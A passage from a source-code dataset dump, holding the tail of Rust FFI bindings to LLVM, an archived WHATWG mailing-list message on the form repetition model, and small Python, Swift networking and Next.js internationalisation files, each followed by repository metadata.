Checksum: *const c_char,
ChecksumLen: size_t,
) -> &'a DIFile;
pub fn LLVMRustDIBuilderCreateSubroutineType<'a>(
Builder: &DIBuilder<'a>,
ParameterTypes: &'a DIArray,
) -> &'a DICompositeType;
pub fn LLVMRustDIBuilderCreateFunction<'a>(
Builder: &DIBuilder<'a>,
Scope: &'a DIDescriptor,
Name: *const c_char,
NameLen: size_t,
LinkageName: *const c_char,
LinkageNameLen: size_t,
File: &'a DIFile,
LineNo: c_uint,
Ty: &'a DIType,
ScopeLine: c_uint,
Flags: DIFlags,
SPFlags: DISPFlags,
MaybeFn: Option<&'a Value>,
TParam: &'a DIArray,
Decl: Option<&'a DIDescriptor>,
) -> &'a DISubprogram;
pub fn LLVMRustDIBuilderCreateBasicType<'a>(
Builder: &DIBuilder<'a>,
Name: *const c_char,
NameLen: size_t,
SizeInBits: u64,
Encoding: c_uint,
) -> &'a DIBasicType;
pub fn LLVMRustDIBuilderCreateTypedef<'a>(
Builder: &DIBuilder<'a>,
Type: &'a DIBasicType,
Name: *const c_char,
NameLen: size_t,
File: &'a DIFile,
LineNo: c_uint,
Scope: Option<&'a DIScope>,
) -> &'a DIDerivedType;
pub fn LLVMRustDIBuilderCreatePointerType<'a>(
Builder: &DIBuilder<'a>,
PointeeTy: &'a DIType,
SizeInBits: u64,
AlignInBits: u32,
AddressSpace: c_uint,
Name: *const c_char,
NameLen: size_t,
) -> &'a DIDerivedType;
pub fn LLVMRustDIBuilderCreateStructType<'a>(
Builder: &DIBuilder<'a>,
Scope: Option<&'a DIDescriptor>,
Name: *const c_char,
NameLen: size_t,
File: &'a DIFile,
LineNumber: c_uint,
SizeInBits: u64,
AlignInBits: u32,
Flags: DIFlags,
DerivedFrom: Option<&'a DIType>,
Elements: &'a DIArray,
RunTimeLang: c_uint,
VTableHolder: Option<&'a DIType>,
UniqueId: *const c_char,
UniqueIdLen: size_t,
) -> &'a DICompositeType;
pub fn LLVMRustDIBuilderCreateMemberType<'a>(
Builder: &DIBuilder<'a>,
Scope: &'a DIDescriptor,
Name: *const c_char,
NameLen: size_t,
File: &'a DIFile,
LineNo: c_uint,
SizeInBits: u64,
AlignInBits: u32,
OffsetInBits: u64,
Flags: DIFlags,
Ty: &'a DIType,
) -> &'a DIDerivedType;
pub fn LLVMRustDIBuilderCreateVariantMemberType<'a>(
Builder: &DIBuilder<'a>,
Scope: &'a DIScope,
Name: *const c_char,
NameLen: size_t,
File: &'a DIFile,
LineNumber: c_uint,
SizeInBits: u64,
AlignInBits: u32,
OffsetInBits: u64,
Discriminant: Option<&'a Value>,
Flags: DIFlags,
Ty: &'a DIType,
) -> &'a DIType;
pub fn LLVMRustDIBuilderCreateLexicalBlock<'a>(
Builder: &DIBuilder<'a>,
Scope: &'a DIScope,
File: &'a DIFile,
Line: c_uint,
Col: c_uint,
) -> &'a DILexicalBlock;
pub fn LLVMRustDIBuilderCreateLexicalBlockFile<'a>(
Builder: &DIBuilder<'a>,
Scope: &'a DIScope,
File: &'a DIFile,
) -> &'a DILexicalBlock;
pub fn LLVMRustDIBuilderCreateStaticVariable<'a>(
Builder: &DIBuilder<'a>,
Context: Option<&'a DIScope>,
Name: *const c_char,
NameLen: size_t,
LinkageName: *const c_char,
LinkageNameLen: size_t,
File: &'a DIFile,
LineNo: c_uint,
Ty: &'a DIType,
isLocalToUnit: bool,
Val: &'a Value,
Decl: Option<&'a DIDescriptor>,
AlignInBits: u32,
) -> &'a DIGlobalVariableExpression;
pub fn LLVMRustDIBuilderCreateVariable<'a>(
Builder: &DIBuilder<'a>,
Tag: c_uint,
Scope: &'a DIDescriptor,
Name: *const c_char,
NameLen: size_t,
File: &'a DIFile,
LineNo: c_uint,
Ty: &'a DIType,
AlwaysPreserve: bool,
Flags: DIFlags,
ArgNo: c_uint,
AlignInBits: u32,
) -> &'a DIVariable;
pub fn LLVMRustDIBuilderCreateArrayType<'a>(
Builder: &DIBuilder<'a>,
Size: u64,
AlignInBits: u32,
Ty: &'a DIType,
Subscripts: &'a DIArray,
) -> &'a DIType;
pub fn LLVMRustDIBuilderGetOrCreateSubrange<'a>(
Builder: &DIBuilder<'a>,
Lo: i64,
Count: i64,
) -> &'a DISubrange;
pub fn LLVMRustDIBuilderGetOrCreateArray<'a>(
Builder: &DIBuilder<'a>,
Ptr: *const Option<&'a DIDescriptor>,
Count: c_uint,
) -> &'a DIArray;
pub fn LLVMRustDIBuilderInsertDeclareAtEnd<'a>(
Builder: &DIBuilder<'a>,
Val: &'a Value,
VarInfo: &'a DIVariable,
AddrOps: *const u64,
AddrOpsCount: c_uint,
DL: &'a DILocation,
InsertAtEnd: &'a BasicBlock,
) -> &'a Value;
pub fn LLVMRustDIBuilderCreateEnumerator<'a>(
Builder: &DIBuilder<'a>,
Name: *const c_char,
NameLen: size_t,
Value: i64,
IsUnsigned: bool,
) -> &'a DIEnumerator;
pub fn LLVMRustDIBuilderCreateEnumerationType<'a>(
Builder: &DIBuilder<'a>,
Scope: &'a DIScope,
Name: *const c_char,
NameLen: size_t,
File: &'a DIFile,
LineNumber: c_uint,
SizeInBits: u64,
AlignInBits: u32,
Elements: &'a DIArray,
ClassType: &'a DIType,
IsScoped: bool,
) -> &'a DIType;
pub fn LLVMRustDIBuilderCreateUnionType<'a>(
Builder: &DIBuilder<'a>,
Scope: Option<&'a DIScope>,
Name: *const c_char,
NameLen: size_t,
File: &'a DIFile,
LineNumber: c_uint,
SizeInBits: u64,
AlignInBits: u32,
Flags: DIFlags,
Elements: Option<&'a DIArray>,
RunTimeLang: c_uint,
UniqueId: *const c_char,
UniqueIdLen: size_t,
) -> &'a DIType;
pub fn LLVMRustDIBuilderCreateVariantPart<'a>(
Builder: &DIBuilder<'a>,
Scope: &'a DIScope,
Name: *const c_char,
NameLen: size_t,
File: &'a DIFile,
LineNo: c_uint,
SizeInBits: u64,
AlignInBits: u32,
Flags: DIFlags,
Discriminator: Option<&'a DIDerivedType>,
Elements: &'a DIArray,
UniqueId: *const c_char,
UniqueIdLen: size_t,
) -> &'a DIDerivedType;
pub fn LLVMSetUnnamedAddress(Global: &Value, UnnamedAddr: UnnamedAddr);
pub fn LLVMRustDIBuilderCreateTemplateTypeParameter<'a>(
Builder: &DIBuilder<'a>,
Scope: Option<&'a DIScope>,
Name: *const c_char,
NameLen: size_t,
Ty: &'a DIType,
) -> &'a DITemplateTypeParameter;
pub fn LLVMRustDIBuilderCreateNameSpace<'a>(
Builder: &DIBuilder<'a>,
Scope: Option<&'a DIScope>,
Name: *const c_char,
NameLen: size_t,
ExportSymbols: bool,
) -> &'a DINameSpace;
pub fn LLVMRustDICompositeTypeReplaceArrays<'a>(
Builder: &DIBuilder<'a>,
CompositeType: &'a DIType,
Elements: Option<&'a DIArray>,
Params: Option<&'a DIArray>,
);
pub fn LLVMRustDIBuilderCreateDebugLocation<'a>(
Line: c_uint,
Column: c_uint,
Scope: &'a DIScope,
InlinedAt: Option<&'a DILocation>,
) -> &'a DILocation;
pub fn LLVMRustDIBuilderCreateOpDeref() -> u64;
pub fn LLVMRustDIBuilderCreateOpPlusUconst() -> u64;
#[allow(improper_ctypes)]
pub fn LLVMRustWriteTypeToString(Type: &Type, s: &RustString);
#[allow(improper_ctypes)]
pub fn LLVMRustWriteValueToString(value_ref: &Value, s: &RustString);
pub fn LLVMIsAConstantInt(value_ref: &Value) -> Option<&ConstantInt>;
pub fn LLVMRustPassKind(Pass: &Pass) -> PassKind;
pub fn LLVMRustFindAndCreatePass(Pass: *const c_char) -> Option<&'static mut Pass>;
pub fn LLVMRustCreateAddressSanitizerFunctionPass(Recover: bool) -> &'static mut Pass;
pub fn LLVMRustCreateModuleAddressSanitizerPass(Recover: bool) -> &'static mut Pass;
pub fn LLVMRustCreateMemorySanitizerPass(
TrackOrigins: c_int,
Recover: bool,
) -> &'static mut Pass;
pub fn LLVMRustCreateThreadSanitizerPass() -> &'static mut Pass;
pub fn LLVMRustCreateHWAddressSanitizerPass(Recover: bool) -> &'static mut Pass;
pub fn LLVMRustAddPass(PM: &PassManager<'_>, Pass: &'static mut Pass);
pub fn LLVMRustAddLastExtensionPasses(
PMB: &PassManagerBuilder,
Passes: *const &'static mut Pass,
NumPasses: size_t,
);
pub fn LLVMRustHasFeature(T: &TargetMachine, s: *const c_char) -> bool;
pub fn LLVMRustPrintTargetCPUs(T: &TargetMachine);
pub fn LLVMRustGetTargetFeaturesCount(T: &TargetMachine) -> size_t;
pub fn LLVMRustGetTargetFeature(
T: &TargetMachine,
Index: size_t,
Feature: &mut *const c_char,
Desc: &mut *const c_char,
);
pub fn LLVMRustGetHostCPUName(len: *mut usize) -> *const c_char;
pub fn LLVMRustCreateTargetMachine(
Triple: *const c_char,
CPU: *const c_char,
Features: *const c_char,
Abi: *const c_char,
Model: CodeModel,
Reloc: RelocModel,
Level: CodeGenOptLevel,
UseSoftFP: bool,
FunctionSections: bool,
DataSections: bool,
UniqueSectionNames: bool,
TrapUnreachable: bool,
Singlethread: bool,
AsmComments: bool,
EmitStackSizeSection: bool,
RelaxELFRelocations: bool,
UseInitArray: bool,
SplitDwarfFile: *const c_char,
) -> Option<&'static mut TargetMachine>;
pub fn LLVMRustDisposeTargetMachine(T: &'static mut TargetMachine);
pub fn LLVMRustAddBuilderLibraryInfo<'a>(
PMB: &'a PassManagerBuilder,
M: &'a Module,
DisableSimplifyLibCalls: bool,
);
pub fn LLVMRustConfigurePassManagerBuilder(
PMB: &PassManagerBuilder,
OptLevel: CodeGenOptLevel,
MergeFunctions: bool,
SLPVectorize: bool,
LoopVectorize: bool,
PrepareForThinLTO: bool,
PGOGenPath: *const c_char,
PGOUsePath: *const c_char,
PGOSampleUsePath: *const c_char,
);
pub fn LLVMRustAddLibraryInfo<'a>(
PM: &PassManager<'a>,
M: &'a Module,
DisableSimplifyLibCalls: bool,
);
pub fn LLVMRustRunFunctionPassManager<'a>(PM: &PassManager<'a>, M: &'a Module);
pub fn LLVMRustWriteOutputFile<'a>(
T: &'a TargetMachine,
PM: &PassManager<'a>,
M: &'a Module,
Output: *const c_char,
DwoOutput: *const c_char,
FileType: FileType,
) -> LLVMRustResult;
pub fn LLVMRustOptimizeWithNewPassManager<'a>(
M: &'a Module,
TM: &'a TargetMachine,
OptLevel: PassBuilderOptLevel,
OptStage: OptStage,
NoPrepopulatePasses: bool,
VerifyIR: bool,
UseThinLTOBuffers: bool,
MergeFunctions: bool,
UnrollLoops: bool,
SLPVectorize: bool,
LoopVectorize: bool,
DisableSimplifyLibCalls: bool,
EmitLifetimeMarkers: bool,
SanitizerOptions: Option<&SanitizerOptions>,
PGOGenPath: *const c_char,
PGOUsePath: *const c_char,
InstrumentCoverage: bool,
InstrumentGCOV: bool,
PGOSampleUsePath: *const c_char,
DebugInfoForProfiling: bool,
llvm_selfprofiler: *mut c_void,
begin_callback: SelfProfileBeforePassCallback,
end_callback: SelfProfileAfterPassCallback,
ExtraPasses: *const c_char,
ExtraPassesLen: size_t,
LLVMPlugins: *const c_char,
LLVMPluginsLen: size_t,
) -> LLVMRustResult;
pub fn LLVMRustPrintModule(
M: &Module,
Output: *const c_char,
Demangle: extern "C" fn(*const c_char, size_t, *mut c_char, size_t) -> size_t,
) -> LLVMRustResult;
pub fn LLVMRustSetLLVMOptions(Argc: c_int, Argv: *const *const c_char);
pub fn LLVMRustPrintPasses();
pub fn LLVMRustGetInstructionCount(M: &Module) -> u32;
pub fn LLVMRustSetNormalizedTarget(M: &Module, triple: *const c_char);
pub fn LLVMRustAddAlwaysInlinePass(P: &PassManagerBuilder, AddLifetimes: bool);
pub fn LLVMRustRunRestrictionPass(M: &Module, syms: *const *const c_char, len: size_t);
pub fn LLVMRustOpenArchive(path: *const c_char) -> Option<&'static mut Archive>;
pub fn LLVMRustArchiveIteratorNew(AR: &Archive) -> &mut ArchiveIterator<'_>;
pub fn LLVMRustArchiveIteratorNext<'a>(
AIR: &ArchiveIterator<'a>,
) -> Option<&'a mut ArchiveChild<'a>>;
pub fn LLVMRustArchiveChildName(ACR: &ArchiveChild<'_>, size: &mut size_t) -> *const c_char;
pub fn LLVMRustArchiveChildData(ACR: &ArchiveChild<'_>, size: &mut size_t) -> *const c_char;
pub fn LLVMRustArchiveChildFree<'a>(ACR: &'a mut ArchiveChild<'a>);
pub fn LLVMRustArchiveIteratorFree<'a>(AIR: &'a mut ArchiveIterator<'a>);
pub fn LLVMRustDestroyArchive(AR: &'static mut Archive);
#[allow(improper_ctypes)]
pub fn LLVMRustWriteTwineToString(T: &Twine, s: &RustString);
#[allow(improper_ctypes)]
pub fn LLVMRustUnpackOptimizationDiagnostic<'a>(
DI: &'a DiagnosticInfo,
pass_name_out: &RustString,
function_out: &mut Option<&'a Value>,
loc_line_out: &mut c_uint,
loc_column_out: &mut c_uint,
loc_filename_out: &RustString,
message_out: &RustString,
);
pub fn LLVMRustUnpackInlineAsmDiagnostic<'a>(
DI: &'a DiagnosticInfo,
level_out: &mut DiagnosticLevel,
cookie_out: &mut c_uint,
message_out: &mut Option<&'a Twine>,
);
#[allow(improper_ctypes)]
pub fn LLVMRustWriteDiagnosticInfoToString(DI: &DiagnosticInfo, s: &RustString);
pub fn LLVMRustGetDiagInfoKind(DI: &DiagnosticInfo) -> DiagnosticKind;
pub fn LLVMRustGetSMDiagnostic<'a>(
DI: &'a DiagnosticInfo,
cookie_out: &mut c_uint,
) -> &'a SMDiagnostic;
pub fn LLVMRustSetInlineAsmDiagnosticHandler(
C: &Context,
H: InlineAsmDiagHandlerTy,
CX: *mut c_void,
);
#[allow(improper_ctypes)]
pub fn LLVMRustUnpackSMDiagnostic(
d: &SMDiagnostic,
message_out: &RustString,
buffer_out: &RustString,
level_out: &mut DiagnosticLevel,
loc_out: &mut c_uint,
ranges_out: *mut c_uint,
num_ranges: &mut usize,
) -> bool;
pub fn LLVMRustWriteArchive(
Dst: *const c_char,
NumMembers: size_t,
Members: *const &RustArchiveMember<'_>,
WriteSymbtab: bool,
Kind: ArchiveKind,
) -> LLVMRustResult;
pub fn LLVMRustArchiveMemberNew<'a>(
Filename: *const c_char,
Name: *const c_char,
Child: Option<&ArchiveChild<'a>>,
) -> &'a mut RustArchiveMember<'a>;
pub fn LLVMRustArchiveMemberFree<'a>(Member: &'a mut RustArchiveMember<'a>);
pub fn LLVMRustWriteImportLibrary(
ImportName: *const c_char,
Path: *const c_char,
Exports: *const LLVMRustCOFFShortExport,
NumExports: usize,
Machine: u16,
MinGW: bool,
) -> LLVMRustResult;
pub fn LLVMRustSetDataLayoutFromTargetMachine<'a>(M: &'a Module, TM: &'a TargetMachine);
pub fn LLVMRustBuildOperandBundleDef<'a>(
Name: *const c_char,
Inputs: *const &'a Value,
NumInputs: c_uint,
) -> &'a mut OperandBundleDef<'a>;
pub fn LLVMRustFreeOperandBundleDef<'a>(Bundle: &'a mut OperandBundleDef<'a>);
pub fn LLVMRustPositionBuilderAtStart<'a>(B: &Builder<'a>, BB: &'a BasicBlock);
pub fn LLVMRustSetComdat<'a>(M: &'a Module, V: &'a Value, Name: *const c_char, NameLen: size_t);
pub fn LLVMRustUnsetComdat(V: &Value);
pub fn LLVMRustSetModulePICLevel(M: &Module);
pub fn LLVMRustSetModulePIELevel(M: &Module);
pub fn LLVMRustSetModuleCodeModel(M: &Module, Model: CodeModel);
pub fn LLVMRustModuleBufferCreate(M: &Module) -> &'static mut ModuleBuffer;
pub fn LLVMRustModuleBufferPtr(p: &ModuleBuffer) -> *const u8;
pub fn LLVMRustModuleBufferLen(p: &ModuleBuffer) -> usize;
pub fn LLVMRustModuleBufferFree(p: &'static mut ModuleBuffer);
pub fn LLVMRustModuleCost(M: &Module) -> u64;
pub fn LLVMRustThinLTOBufferCreate(M: &Module) -> &'static mut ThinLTOBuffer;
pub fn LLVMRustThinLTOBufferFree(M: &'static mut ThinLTOBuffer);
pub fn LLVMRustThinLTOBufferPtr(M: &ThinLTOBuffer) -> *const c_char;
pub fn LLVMRustThinLTOBufferLen(M: &ThinLTOBuffer) -> size_t;
pub fn LLVMRustCreateThinLTOData(
Modules: *const ThinLTOModule,
NumModules: c_uint,
PreservedSymbols: *const *const c_char,
PreservedSymbolsLen: c_uint,
) -> Option<&'static mut ThinLTOData>;
pub fn LLVMRustPrepareThinLTORename(
Data: &ThinLTOData,
Module: &Module,
Target: &TargetMachine,
) -> bool;
pub fn LLVMRustPrepareThinLTOResolveWeak(Data: &ThinLTOData, Module: &Module) -> bool;
pub fn LLVMRustPrepareThinLTOInternalize(Data: &ThinLTOData, Module: &Module) -> bool;
pub fn LLVMRustPrepareThinLTOImport(
Data: &ThinLTOData,
Module: &Module,
Target: &TargetMachine,
) -> bool;
pub fn LLVMRustGetThinLTOModuleImports(
Data: *const ThinLTOData,
ModuleNameCallback: ThinLTOModuleNameCallback,
CallbackPayload: *mut c_void,
);
pub fn LLVMRustFreeThinLTOData(Data: &'static mut ThinLTOData);
pub fn LLVMRustParseBitcodeForLTO(
Context: &Context,
Data: *const u8,
len: usize,
Identifier: *const c_char,
) -> Option<&Module>;
pub fn LLVMRustGetBitcodeSliceFromObjectData(
Data: *const u8,
len: usize,
out_len: &mut usize,
) -> *const u8;
pub fn LLVMRustLTOGetDICompileUnit(M: &Module, CU1: &mut *mut c_void, CU2: &mut *mut c_void);
pub fn LLVMRustLTOPatchDICompileUnit(M: &Module, CU: *mut c_void);
pub fn LLVMRustLinkerNew(M: &Module) -> &mut Linker<'_>;
pub fn LLVMRustLinkerAdd(
linker: &Linker<'_>,
bytecode: *const c_char,
bytecode_len: usize,
) -> bool;
pub fn LLVMRustLinkerFree<'a>(linker: &'a mut Linker<'a>);
#[allow(improper_ctypes)]
pub fn LLVMRustComputeLTOCacheKey(
key_out: &RustString,
mod_id: *const c_char,
data: &ThinLTOData,
);
pub fn LLVMRustContextGetDiagnosticHandler(Context: &Context) -> Option<&DiagnosticHandler>;
pub fn LLVMRustContextSetDiagnosticHandler(
context: &Context,
diagnostic_handler: Option<&DiagnosticHandler>,
);
pub fn LLVMRustContextConfigureDiagnosticHandler(
context: &Context,
diagnostic_handler_callback: DiagnosticHandlerTy,
diagnostic_handler_context: *mut c_void,
remark_all_passes: bool,
remark_passes: *const *const c_char,
remark_passes_len: usize,
);
}
| 31.463683 | 207 | 0.603072 |
6e0ffcd508f3b9a69c28c7e92559892bdc512246 | 5,308 | html | HTML | lists.whatwg.org/pipermail/whatwg-whatwg.org/2004-June/042820.html | zcorpan/whatwg.org | 3374e69f013e5939abc5f3fffaae50bb6eaf0bd3 | [
"CC-BY-4.0"
] | 1 | 2022-02-14T23:44:51.000Z | 2022-02-14T23:44:51.000Z | lists.whatwg.org/pipermail/whatwg-whatwg.org/2004-June/042820.html | Seanpm2001-Google/whatwg.org | 33ad837c0dc53b68865f4a35ccdc1c68dc07fce6 | [
"BSD-3-Clause"
] | 1 | 2021-01-31T11:51:12.000Z | 2021-01-31T11:51:12.000Z | lists.whatwg.org/pipermail/whatwg-whatwg.org/2004-June/042820.html | Seanpm2001-Google/whatwg.org | 33ad837c0dc53b68865f4a35ccdc1c68dc07fce6 | [
"BSD-3-Clause"
] | null | null | null | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<TITLE> [whatwg] repetition model
</TITLE>
<LINK REL="Index" HREF="index.html" >
<LINK REL="made" HREF="mailto:whatwg%40lists.whatwg.org?Subject=Re%3A%20%5Bwhatwg%5D%20repetition%20model&In-Reply-To=%3CPine.LNX.4.58.0406251637290.27106%40dhalsim.dreamhost.com%3E">
<META NAME="robots" CONTENT="index,nofollow">
<style type="text/css">
pre {
white-space: pre-wrap; /* css-2.1, curent FF, Opera, Safari */
}
</style>
<META http-equiv="Content-Type" content="text/html; charset=us-ascii">
<LINK REL="Previous" HREF="042782.html">
<LINK REL="Next" HREF="042827.html">
</HEAD>
<BODY BGCOLOR="#ffffff">
<H1>[whatwg] repetition model</H1>
<!--htdig_noindex-->
<B>Ian Hickson</B>
<A HREF="mailto:whatwg%40lists.whatwg.org?Subject=Re%3A%20%5Bwhatwg%5D%20repetition%20model&In-Reply-To=%3CPine.LNX.4.58.0406251637290.27106%40dhalsim.dreamhost.com%3E"
TITLE="[whatwg] repetition model">ian at hixie.ch
</A><BR>
<I>Fri Jun 25 09:45:54 PDT 2004</I>
<P><UL>
<LI>Previous message: <A HREF="042782.html">[whatwg] repetition model
</A></li>
<LI>Next message: <A HREF="042827.html">[whatwg] repetition model
</A></li>
<LI> <B>Messages sorted by:</B>
<a href="date.html#42820">[ date ]</a>
<a href="thread.html#42820">[ thread ]</a>
<a href="subject.html#42820">[ subject ]</a>
<a href="author.html#42820">[ author ]</a>
</LI>
</UL>
<HR>
<!--/htdig_noindex-->
<!--beginarticle-->
<PRE>On Thu, 24 Jun 2004, Avi Bryant wrote:
><i>
</I>><i> [...] Copying template pieces of DOM doesn't bother me in the slightest,
</I>><i> but the [id] text replacement rings serious alarm bells.
</I>
I do agree that the [id] stuff is somewhat dodgy. I really am at a loss of
how to do a better solution, though. And it does work quite well.
><i> Effectively you're upping the meta level: parts of the document are no
</I>><i> longer HTML, but a description of how to produce HTML.
</I>
HTML4 already has this (<object declare>).
><i> Attributes that were previously treated as opaque atomic strings now
</I>><i> have to be parsed. That means you have to deal with escaping issues,
</I>><i> and the complexity bleeds all over the place (prefixing attributes with
</I>><i> []? Come on...).
</I>
I agree that the []-prefix hack is a hack. Do you have a better solution?
><i> It's treading a fine line between markup and behavior (can we show that
</I>><i> the repetition model is turing complete?), and I'd rather see anything
</I>><i> that even approaches that line be in Ecmascript instead.
</I>
As someone who has implemented his own repeating model, both client-side
and server-side, I have to say, the proposed model is a lot easier to use
than any hand-implemented version.
><i> However, I think the model could still work fine without the macro
</I>><i> expansion. The main use case seems to be to give unique name attributes
</I>><i> to each set of inputs. If your server is handling the submission
</I>><i> correctly, this shouldn't be necessary anyway: the values get submitted
</I>><i> in order anyway, so the values from each row should be grouped, right?
</I>><i> The numbers are redundant.
</I>
This is an interesting point. It means that if the author doesn't want any
of the [id] nonsense, he need simply not put an ID on the template, and
then that entire part of the model is simply ignored.
Given that, to the author, the complexity here is basically "opt-in", I am
not convinced that it removing it altogether is the way forward. There are
cases where having uniquely numbered rows really helps with the
server-side processing (for example, some CGI libraries merge all the
values with the same name into one array, keeping the relative order
between individual control names, but losing the overall order that the
names came in). This is especially important with nested repeats, where
the "add" button has to refer to a template that has been repeated.
Templates are identified by IDs, so you need a unique ID for each repeated
template. (There's an example of this in the spec.)
--
Ian Hickson U+1047E )\._.,--....,'``. fL
<A HREF="http://ln.hixie.ch/">http://ln.hixie.ch/</A> U+263A /, _.. \ _\ ;`._ ,.
Things that are impossible just take longer. `._.-(,_..'--(,_..'`-.;.'
</PRE>
<!--endarticle-->
<!--htdig_noindex-->
<HR>
<P><UL>
<!--threads-->
<LI>Previous message: <A HREF="042782.html">[whatwg] repetition model
</A></li>
<LI>Next message: <A HREF="042827.html">[whatwg] repetition model
</A></li>
<LI> <B>Messages sorted by:</B>
<a href="date.html#42820">[ date ]</a>
<a href="thread.html#42820">[ thread ]</a>
<a href="subject.html#42820">[ subject ]</a>
<a href="author.html#42820">[ author ]</a>
</LI>
</UL>
<hr>
<a href="http://lists.whatwg.org/listinfo.cgi/whatwg-whatwg.org">More information about the whatwg
mailing list</a><br>
<!--/htdig_noindex-->
</body></html>
| 42.806452 | 186 | 0.65844 |
0caedcb03495a9332700a86dd6b9b7674d0e59ac | 32 | py | Python | gaia-sdk-python/conftest.py | leftshiftone/gaia-sdk | 7e0d1ce054fada8ae154da70b71e8a90347c9f97 | [
"MIT"
] | null | null | null | gaia-sdk-python/conftest.py | leftshiftone/gaia-sdk | 7e0d1ce054fada8ae154da70b71e8a90347c9f97 | [
"MIT"
] | 10 | 2019-11-14T07:55:47.000Z | 2022-02-26T19:36:45.000Z | gaia-sdk-python/conftest.py | leftshiftone/gaia-sdk | 7e0d1ce054fada8ae154da70b71e8a90347c9f97 | [
"MIT"
] | 2 | 2020-05-12T11:09:53.000Z | 2020-12-25T14:03:04.000Z | # enabled testing relative paths | 32 | 32 | 0.84375 |
61a8d896ba048e2cec008504acdd5391d5e77624 | 2,549 | swift | Swift | HDCP/HDCP/HDRequestManager.swift | AlbertXYZ/MyProject | df4231d38cc04eb39ba0d2d6160cff93bc3b2f73 | [
"MIT"
] | 96 | 2016-01-20T03:23:28.000Z | 2019-07-16T06:57:37.000Z | HDCP/HDCP/HDRequestManager.swift | AlbertXYZ/MyProject | df4231d38cc04eb39ba0d2d6160cff93bc3b2f73 | [
"MIT"
] | 1 | 2018-07-28T01:52:53.000Z | 2018-07-28T01:52:53.000Z | HDCP/HDCP/HDRequestManager.swift | AlbertXYZ/MyProject | df4231d38cc04eb39ba0d2d6160cff93bc3b2f73 | [
"MIT"
] | 42 | 2016-02-17T07:13:51.000Z | 2019-08-20T01:54:10.000Z | //
// HDRequestManager.swift
// HDCP
//
// Created by 徐琰璋 on 16/1/5.
// Copyright © 2016年 batonsoft. All rights reserved.
//
import Foundation
import Alamofire
open class HDRequestManager: NSObject {
/**
服务器数据请求:GET方式
*
* parameter url: URL地址
* parameter block: 返回结果集
*/
static func doGetRequest(_ URL: String, completeBlock: @escaping (_ response: DataResponse<Any>) -> Void) {
// HDLog.LogOut("PostURL" as AnyObject, obj: URL as AnyObject)
print("PostURL\(URL as AnyObject)")
Alamofire.request(URL).responseJSON { response in
if response.result.error == nil {
/**
* 请求成功
*/
let text: String = NSString(data: response.data!, encoding: String.Encoding.utf8.rawValue)! as String
// HDLog.LogOut("Data" as AnyObject, obj: text as AnyObject)
print("Data\(text as AnyObject)")
} else {
/**
请求出错了
- print: 错误信息
*/
// HDLog.LogOut("error" as AnyObject, obj: (response.result.error)! as AnyObject)
print("error\((response.result.error)! as AnyObject)")
}
completeBlock(response)
}
}
/**
服务器数据请求:POST方式
*
* parameter url: URL地址
* parameter block: 返回结果集
*/
static func doPostRequest(_ param: [String: AnyObject], URL: String, completeBlock: @escaping (_ response: DataResponse<Any>) -> Void) {
//HDLog.LogOut("PostURL" as AnyObject, obj: URL as AnyObject)
print("PostURL\(URL as AnyObject)")
Alamofire.request(URL, method: .post, parameters: param, encoding: URLEncoding.default).responseJSON { response in
if response.result.error == nil {
/**
* 请求成功
*/
let text: String = NSString(data: response.data!, encoding: String.Encoding.utf8.rawValue)! as String
// HDLog.LogOut("Data" as AnyObject, obj: text as AnyObject)
print("Data\(text as AnyObject)")
} else {
/**
请求出错了
- print: 错误信息
*/
// HDLog.LogOut("error" as AnyObject, obj: (response.result.error)! as AnyObject)
print("error\((response.result.error)! as AnyObject)")
}
completeBlock(response)
}
}
}
| 28.322222 | 140 | 0.522558 |
0efb8658afbeb1b98d1fda502edd599526aaba94 | 2,140 | tsx | TypeScript | packages/ssg-i18n-routing/pages/index.tsx | emmanuelgautier/nextjs-showcase | 54198fb3e24573b75ba5a72cf76bd36ed613fe7c | [
"MIT"
] | 2 | 2021-02-27T09:20:23.000Z | 2022-01-27T10:55:38.000Z | packages/ssg-i18n-routing/pages/index.tsx | emmanuelgautier/nextjs-showcase | 54198fb3e24573b75ba5a72cf76bd36ed613fe7c | [
"MIT"
] | 65 | 2021-02-21T12:06:26.000Z | 2022-03-26T00:07:19.000Z | packages/ssg-i18n-routing/pages/index.tsx | emmanuelgautier/nextjs-showcase | 54198fb3e24573b75ba5a72cf76bd36ed613fe7c | [
"MIT"
] | 2 | 2021-06-05T06:58:11.000Z | 2022-02-15T19:08:01.000Z | import * as React from 'react'
import { FormattedMessage, useIntl } from 'react-intl'
import Layout from '../components/Layout'
export default function Home() {
const intl = useIntl();
return (
<Layout
title={intl.formatMessage({
defaultMessage: 'Home',
})}
>
<main className="flex flex-col items-center justify-center flex-1 px-20 text-center">
<h1 className="text-6xl font-bold">
<FormattedMessage defaultMessage="Welcome to" />{' '}
<a className="text-blue-600" href="https://nextjs.org?utm_source=next-showcase" target="_blank" rel="noopener noreferrer">
Next.js!
</a>
</h1>
<p className="mt-3 text-2xl">
<FormattedMessage defaultMessage="A Showcase for Static Site Generation (SSG) in multiple languages" />
</p>
<div className="flex flex-wrap items-center justify-around max-w-4xl mt-6 sm:w-full">
<a
href={process.env.NEXT_LOCALE === 'en' ? 'https://www.emmanuelgautier.com/blog/nextjs-ssg-i18n-routing/' : 'https://www.emmanuelgautier.fr/blog/nextjs-ssg-i18n-routing/'}
className="p-6 mx-2 mt-6 text-left border w-96 rounded-xl hover:text-blue-600 focus:text-blue-600"
>
<h3 className="text-2xl font-bold">
<FormattedMessage defaultMessage="Blog Post" /> →
</h3>
<p className="mt-4 text-xl">
<FormattedMessage defaultMessage="More explanations on how it works." />
</p>
</a>
<a
href="https://github.com/emmanuelgautier/nextjs-showcase/tree/main/packages/ssg-i18n-routing"
className="p-6 mx-2 mt-6 text-left border w-96 rounded-xl hover:text-blue-600 focus:text-blue-600"
>
<h3 className="text-2xl font-bold">
<FormattedMessage defaultMessage="Code" /> →
</h3>
<p className="mt-4 text-xl">
<FormattedMessage defaultMessage="All the code with next and react-intl." />
</p>
</a>
</div>
</main>
</Layout>
);
}
| 38.214286 | 182 | 0.58785 |
250765026873bcc5526a405c0d9b215f88ed04ee | 1,136 | kt | Kotlin | src/test/kotlin/com/octawizard/domain/model/EmailTest.kt | octawizard/padles-api | a1d58d6fe35dda02a8cff27b52d2693ef4881fa4 | [
"Apache-2.0"
] | null | null | null | src/test/kotlin/com/octawizard/domain/model/EmailTest.kt | octawizard/padles-api | a1d58d6fe35dda02a8cff27b52d2693ef4881fa4 | [
"Apache-2.0"
